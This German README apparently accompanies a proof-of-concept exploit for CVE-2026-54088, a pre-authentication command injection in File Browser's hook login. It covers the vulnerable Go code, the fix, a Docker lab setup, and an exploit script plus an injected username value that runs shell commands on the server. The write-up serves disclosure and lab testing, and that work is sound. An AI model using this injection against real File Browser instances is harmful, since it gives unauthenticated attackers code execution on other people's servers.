
Proof-of-Concept-Exploit für CVE-2026-54088, eine Pre-Authentication-OS-Command-Injection-Sicherheitslücke in File Browser <= 2.63.5 über Hook-Authentication-Shell-Ersatz.
Dieses Repository enthält einen Proof of Concept (PoC) für die kritische OS-Kommandoinjektions-Schwachstelle CVE-2026-54088 in File Browser Version <= 2.63.5.
Die Schwachstelle befindet sich in der Hook Authentication-Funktion. Wenn ein Administrator File Browser so konfiguriert hat, dass die Benutzerauthentifizierung über einen externen Befehl erfolgt, werden die bei der Anmeldung gesendeten username und password unescaped von os.Expand() in die konfigurierte Befehlszeichenkette expandiert. Ein nicht authentifizierter Angreifer kann Shell-Syntax über die Anmeldeanfrage injizieren und beliebige Befehle ausführen, bevor die Authentifizierung erfolgreich ist.
Entdecker: saku0512 (https://github.com/Saku0512)
Dieses Projekt dient ausschließlich zu Bildungszwecken und ethischen Sicherheitstests.
Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder illegale Handlungen, die aus diesem Tool resultieren. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie diese Software nur in Umgebungen, für die Sie ausdrückliche Genehmigung haben.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() teilt den konfigurierten Authentifizierungsbefehl auf und expandiert Platzhalter für Anmeldeinformationen mit vom Angreifer kontrollierten Anfragedaten.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Wenn der Hook-Befehl wie folgt konfiguriert ist:
sh -c $USERNAME
Wenn der Angreifer einen Benutzernamen wie folgt sendet:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Während des Anmeldeversuchs führt der Server das vom Angreifer kontrollierte Shell-Skript aus. Es ist kein gültiges Konto oder Passwort erforderlich.
Das Problem wurde im Commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f behoben, indem die Ersetzung von Anmeldeinformationen aus der Hook-Befehlszeichenfolge entfernt wurde. Der Hook-Befehl wird wie konfiguriert ausgeführt, und die Anmeldeinformationen werden nur als Umgebungsvariablen übergeben.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
Die entfernte anfällige Verarbeitung war eine os.Expand()-Schleife, die die Befehlsargumente mit vom Angreifer kontrollierten Anmeldeinformationen überschreibt, bevor exec.Command() aufgerufen wird. Diese Korrektur fügt auch Regressionstests hinzu, die sicherstellen, dass der Hook-Befehl nicht durch injizierte Anmeldeinformationen geändert werden kann und dass USERNAME/PASSWORD weiterhin über Umgebungsvariablen für den Hook verfügbar sind.
Starten Sie die anfällige File Browser-Umgebung. Der Dienst filebrowser-init erstellt die Datenbank und aktiviert die Hook-Authentifizierung mit einem anfälligen Befehl.
docker compose up -d
Das Ziel ist unter folgender URL erreichbar:
http://localhost:8080
Führen Sie das Exploit-Skript aus diesem Verzeichnis aus.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Dieser Exploit sendet eine nicht authentifizierte Anmeldeanfrage an /api/login. Die Authentifizierung wird voraussichtlich fehlschlagen, aber der injizierte Befehl wird zuvor ausgeführt.
Öffnen Sie den File Browser-Anmeldebildschirm im Browser.
http://localhost:8080
Geben Sie die folgenden Werte in das Anmeldeformular ein und klicken Sie auf die Schaltfläche 'Anmelden'.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
Die Anmeldung schlägt fehl, aber die Ausführung des Hook-Authentifizierungsbefehls erfolgt, bevor das Authentifizierungsergebnis zurückgegeben wird. Mit dem folgenden Befehl überprüfen Sie, ob die GUI-Operation eine Markierungsdatei im Container erstellt hat.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Wenn die Datei vorhanden ist, wurde die Pre-Auth RCE auch über die GUI-Anmeldung bestätigt.
Überprüfen Sie, ob der Befehl im File Browser-Container ausgeführt wurde.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Wenn die Datei vorhanden ist, wurde die Pre-Auth RCE bestätigt.
docker compose down -v
Aktualisieren Sie File Browser auf Version 2.63.6 oder höher.
Anmeldeinformationen sollten nicht in Shell-Befehlszeichenfolgen eingebettet werden, sondern nur als Umgebungsvariablen an den Hook-Befehl übergeben werden. Auch bei anderen Befehlspfaden muss die Shell-Auswertung vermieden oder eine strenge Argumenttrennung und -escaping durchgeführt werden.